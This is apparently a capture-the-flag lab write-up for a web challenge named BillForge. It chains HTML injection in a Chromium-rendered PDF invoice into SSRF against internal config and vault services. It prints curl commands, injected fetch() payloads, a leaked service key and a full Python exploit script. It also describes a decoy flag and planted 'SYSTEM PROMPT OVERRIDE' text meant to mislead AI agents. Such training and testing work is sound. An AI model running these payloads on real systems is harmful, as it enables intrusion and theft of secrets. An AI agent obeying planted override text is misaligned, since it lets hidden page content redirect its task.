BillForge — SSRF Chain via Chromium PDF Invoice Generation
BillForge — SSRF Chain via Chromium PDF Invoice Generation
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: anti_honeypot_awareness, differential_rendering_exploitation, internal_service_enumeration, javascript_fetch_with_custom_headers, service_key_extraction, ssrf_via_chromium_pdf
Summary
Walkthrough of the CUSTOM Web BillForge — SSRF Chain via Chromium PDF Invoice Generation. Task: Invoicing platform (BillForge) with headless Chromium PDF export where notes field exhibits differential rendering — HTML escaped in web view but rendered raw in PDF. Solution: 3-step SSRF chain
Description
BillForge is a cloud-based invoicing platform used by freelancers and agencies to create professional invoices, track payments, and manage client relationships. The application allows users to generate polished PDF invoices with customizable fields including client details, line items, tax calculations, and notes. Recently the platform added a new PDF export engine powered by headless Chromium for faster, higher-quality document generation. Your goal is to find the flag hidden somewhere in the application's internal infrastructure.
English summary: Web-based invoicing application with PDF export powered by headless Chromium. User-controlled notes field is rendered as raw HTML in the PDF template (but escaped in the web view), enabling server-side JavaScript execution and SSRF to internal services. The flag is hidden behind a 3-hop SSRF chain through an internal config service and an authenticated vault service.
Analysis
Reconnaissance
- Server: nginx/1.25.5 (reverse proxy) → Express/Node.js backend
- PDF Engine: Headless Chromium (confirmed via
/statusendpoint — NOT wkhtmltopdf) - Credentials:
user@test.com / password123 - Login: POST
/auth/loginwith email + password - Invoice creation: POST
/invoiceswith fields:client_id,currency,items_desc,items_qty,items_price,due_date,tax_rate,discount,notes - PDF export: GET
/invoices/{id}/pdf
Honeypot / Decoy Flag
Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden <div> elements with fake "SYSTEM PROMPT OVERRIDE" messages. This is a prompt injection trap designed to trick AI agents and automated scanners into accepting a fake flag and stopping early. The name literally spells out "decoy not real trap for bots."
Vulnerability: Differential Rendering in Notes Field
The invoice notes field exhibits differential rendering:
- Web view: HTML is escaped (safe — tags appear as literal text)
- PDF view: HTML is rendered raw by headless Chromium
This means arbitrary HTML and JavaScript injected into the notes field will execute server-side during PDF generation. Since Chromium has full JavaScript support (unlike wkhtmltopdf's limited WebKit), fetch() API with custom headers is available — a critical capability for the attack chain.
Confirmed by injecting <b>HELLO WORLD</b> in notes — text appeared bold in the PDF but as literal <b> tags in the web view.
Internal Service Architecture
Port scanning via iframe injection revealed two internal services:
| Service | Address | Auth Required |
|---|---|---|
| PDF Config Service | localhost:3001 / 127.0.0.1:3001 | No |
| Vault Service | 127.0.0.1:3002 | Yes — X-Service-Key header |
The config service on port 3001 responds to both localhost and 127.0.0.1. The vault service on port 3002 listens on IPv4 127.0.0.1 only and requires a valid X-Service-Key header for authentication.
Solution
The attack requires a 3-step SSRF chain, each step building on information from the previous one.
Step 1: Discover Internal Config Service
Inject an iframe in the notes field pointing to localhost:3001:
html read-only • copy allowed<iframe src="http://localhost:3001/" width="800" height="600"></iframe>
bash read-only • copy allowedBASE="https://ce9b61f4-d8af-4d16-af62-4a00b5aee0c1.labs.hackadvisor.io" # Login curl -c cookies.txt -X POST "$BASE/auth/login" \ -d "email=user@test.com&password=password123" -D - # Create invoice with iframe payload curl -b cookies.txt -X POST "$BASE/invoices" \ --data-urlencode "client_id=1" \ --data-urlencode "currency=USD" \ --data-urlencode "items_desc=Test" \ --data-urlencode "items_qty=1" \ --data-urlencode "items_price=100" \ --data-urlencode "due_date=2026-06-13" \ --data-urlencode "tax_rate=0" \ --data-urlencode "discount=0" \ --data-urlencode 'notes=<iframe src="http://localhost:3001/" width="800" height="600"></iframe>' # Download and extract PDF curl -b cookies.txt -s "$BASE/invoices/{id}/pdf" -o port_3001.pdf pdftotext port_3001.pdf -
The PDF rendered the iframe content, revealing the config service:
json read-only • copy allowed{ "service": "BillForge PDF Configuration Service", "version": "2.1.0", "endpoints": [ "GET /status", "GET /config", "GET /admin/export" ] }
Step 2: Extract Vault Credentials from Config
An iframe can load the config endpoint, but to reliably capture the full JSON response and display it in the PDF, JavaScript fetch() is more reliable:
html read-only • copy allowed<script> fetch("http://localhost:3001/config") .then(r => r.text()) .then(t => { document.getElementById("out").innerText = t }) </script> <pre id="out"></pre>
The config response revealed the vault service with its authentication credentials:
json read-only • copy allowed{ "internal_services": { "vault": { "host": "http://127.0.0.1:3002", "endpoints": ["/vault/secrets", "/vault/health"], "auth_header": "X-Service-Key", "service_key": "svc-k8s-pdf-7f3a9b2e1d4c" } } }
Step 3: Access Vault with Service Key
A direct iframe to 127.0.0.1:3002/vault/secrets returned "Unauthorized — Valid X-Service-Key header required." Iframes cannot set custom HTTP headers, but JavaScript fetch() can:
html read-only • copy allowed<script> fetch("http://127.0.0.1:3002/vault/secrets", { headers: { "X-Service-Key": "svc-k8s-pdf-7f3a9b2e1d4c" } }) .then(r => r.text()) .then(t => { document.getElementById("out").innerText = t }) </script> <pre id="out"></pre>
Full curl command for the final payload:
bash read-only • copy allowedcurl -b cookies.txt -X POST "$BASE/invoices" \ --data-urlencode "client_id=1" \ --data-urlencode "currency=USD" \ --data-urlencode "items_desc=Test" \ --data-urlencode "items_qty=1" \ --data-urlencode "items_price=100" \ --data-urlencode "due_date=2026-06-13" \ --data-urlencode "tax_rate=0" \ --data-urlencode "discount=0" \ --data-urlencode 'notes=<script>fetch("http://127.0.0.1:3002/vault/secrets",{headers:{"X-Service-Key":"svc-k8s-pdf-7f3a9b2e1d4c"}}).then(r=>r.text()).then(t=>{document.getElementById("out").innerText=t})</script><pre id="out"></pre>' curl -b cookies.txt -s "$BASE/invoices/17/pdf" -o flag.pdf pdftotext flag.pdf -
The vault returned all secrets including the flag:
json read-only • copy allowed{ "secrets": [ {"name": "database_url", "value": "sqlite:///app/data/database.db"}, {"name": "session_secret", "value": "fg-sess-9x8w7v6u5t"}, {"name": "master_flag", "value": "FLAG{REDACTED}"}, {"name": "smtp_password", "value": "mail-pwd-billforge-2025"} ] }
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """BillForge Lab 52 — 3-step SSRF chain via Chromium PDF generation""" import requests import subprocess BASE = "https://ce9b61f4-d8af-4d16-af62-4a00b5aee0c1.labs.hackadvisor.io" s = requests.Session() # Step 0: Login s.post(f"{BASE}/auth/login", data={ "email": "user@test.com", "password": "password123" }, allow_redirects=False) def create_invoice_pdf(notes_payload, label="output"): """Create invoice with payload in notes, download PDF, extract text.""" data = { "client_id": "1", "currency": "USD", "items_desc": "Test", "items_qty": "1", "items_price": "100", "due_date": "2026-06-13", "tax_rate": "0", "discount": "0", "notes": notes_payload } r = s.post(f"{BASE}/invoices", data=data, allow_redirects=False) inv_id = r.headers.get("Location", "").split("/")[-1] r2 = s.get(f"{BASE}/invoices/{inv_id}/pdf", timeout=30) fname = f"{label}.pdf" with open(fname, "wb") as f: f.write(r2.content) result = subprocess.run(["pdftotext", fname, "-"], capture_output=True, text=True, timeout=10) return result.stdout # Step 1: Discover internal config service print("[*] Step 1: Discovering internal services...") text = create_invoice_pdf( '<iframe src="http://localhost:3001/" width="800" height="600"></iframe>', "step1_discovery" ) print(text) # Step 2: Extract vault credentials from config print("[*] Step 2: Extracting vault credentials...") text = create_invoice_pdf( '<script>fetch("http://localhost:3001/config")' '.then(r=>r.text())' '.then(t=>{document.getElementById("out").innerText=t})' '</script><pre id="out"></pre>', "step2_config" ) print(text) # Step 3: Access vault with service key → get flag print("[*] Step 3: Accessing vault secrets...") text = create_invoice_pdf( '<script>fetch("http://127.0.0.1:3002/vault/secrets",' '{headers:{"X-Service-Key":"svc-k8s-pdf-7f3a9b2e1d4c"}})' '.then(r=>r.text())' '.then(t=>{document.getElementById("out").innerText=t})' '</script><pre id="out"></pre>', "step3_flag" ) print(text)
Failed Attempts
- iframe to
localhost:3001/flag→ "Not found" — the/flagendpoint doesn't exist on this version (unlike the wkhtmltopdf variant) - Direct iframe to
127.0.0.1:3002/vault/secrets→ "Unauthorized — Valid X-Service-Key header required" — iframes cannot set custom HTTP headers, so the vault rejected the request - XHR/XMLHttpRequest — initially tried XHR before switching to
fetch(), both work in Chromium butfetch()syntax is cleaner
Key Takeaways / Lessons
- Mastering anti_honeypot_awareness, differential_rendering_exploitation, internal_service_enumeration, javascript_fetch_with_custom_headers, service_key_extraction, ssrf_via_chromium_pdf was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-13 • CUSTOM • BillForge — SSRF Chain via Chromium PDF Invoice Generation • Difficulty: Medium